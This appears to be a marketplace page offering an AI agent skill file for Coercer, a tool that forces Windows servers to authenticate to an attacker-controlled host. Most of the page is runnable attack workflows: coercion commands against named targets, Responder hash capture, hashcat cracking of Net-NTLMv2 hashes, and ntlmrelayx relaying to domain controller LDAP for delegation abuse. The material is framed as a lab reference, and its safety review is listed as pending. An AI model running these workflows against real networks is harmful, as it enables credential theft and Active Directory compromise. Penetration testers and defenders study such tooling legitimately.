# Coercer

> Auth/lab ref: Coercer forces Windows servers to authenticate to a controlled host by abusing MS-RPRN, MS-EFSR, MS-DFSNM, and other RPC protocols, enabling NTLM relay or hash capture.

- Skill: `aeondave/coercer` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/coercer`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/coercer/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/coercer

---


# Coercer

Force Windows servers to authenticate (NTLM) to your listener — enables relay, capture, and hash extraction.

## Concept

Coercer abuses multiple RPC protocols/methods that trigger a Windows host to initiate an outbound NTLM authentication to an attacker-controlled IP. The captured Net-NTLMv2 hash can be:
- **Cracked offline** (Hashcat/John)
- **Relayed** in real-time (ntlmrelayx) to access other systems

## Quick Start

```bash
# Coerce auth from a server, capture with Responder
# Terminal 1: Start Responder
responder -I eth0 -wv

# Terminal 2: Coerce auth
coercer coerce -l 10.10.14.1 -t 10.10.10.10 -u user -p password -d domain.local
```

## Sub-commands

| Command | Description |
|---------|-------------|
| `coerce` | Trigger authentication coercion |
| `scan` | Scan target for available coercion methods |
| `fuzz` | Fuzz available RPC methods |

## Core Flags

| Flag | Description |
|------|-------------|
| `-l <ip>` | Listener IP (attacker machine) |
| `-t <ip>` | Target IP (Windows server to coerce) |
| `-u <user>` | Username for auth to target |
| `-p <pass>` | Password |
| `-d <domain>` | Domain |
| `-H <hash>` | NTLM hash |
| `--filter-protocol-name <name>` | Only use specific protocol (e.g., `MS-RPRN`) |
| `--filter-method-name <name>` | Specific RPC method |
| `--always-continue` | Continue despite errors |

## Supported Protocols

| Protocol | Common Name |
|----------|-------------|
| `MS-RPRN` | PrinterBug / SpoolSample |
| `MS-EFSR` | PetitPotam |
| `MS-DFSNM` | DFSCoerce |
| `MS-FSRVP` | ShadowCoerce |
| `MS-EVEN6` | EventLog |

## Attack Workflows

### Capture Net-NTLMv2 Hash

```bash
# 1. Start Responder
sudo responder -I eth0 -wv

# 2. Coerce target
coercer coerce -l 10.10.14.1 -t 10.10.10.10 -u user -p pass -d corp.local

# 3. Responder captures hash → crack offline
hashcat -a 0 -m 5600 hash.txt rockyou.txt
```

### NTLM Relay to LDAP (for S4U2Self / RBCD)

```bash
# 1. Start ntlmrelayx targeting DC LDAP
ntlmrelayx.py -t ldap://dc.corp.local --delegate-access -smb2support

# 2. Coerce DC authentication
coercer coerce -l 10.10.14.1 -t dc.corp.local -u user -p pass -d corp.local
```

### Scan Available Methods

```bash
coercer scan -t 10.10.10.10 -u user -p pass -d corp.local
```

## Resources

| File | When to load |
|------|--------------|
| `references/ntlm-relay.md` | Full relay chain setup, ntlmrelayx options, RBCD exploitation |

## Structuring This Skill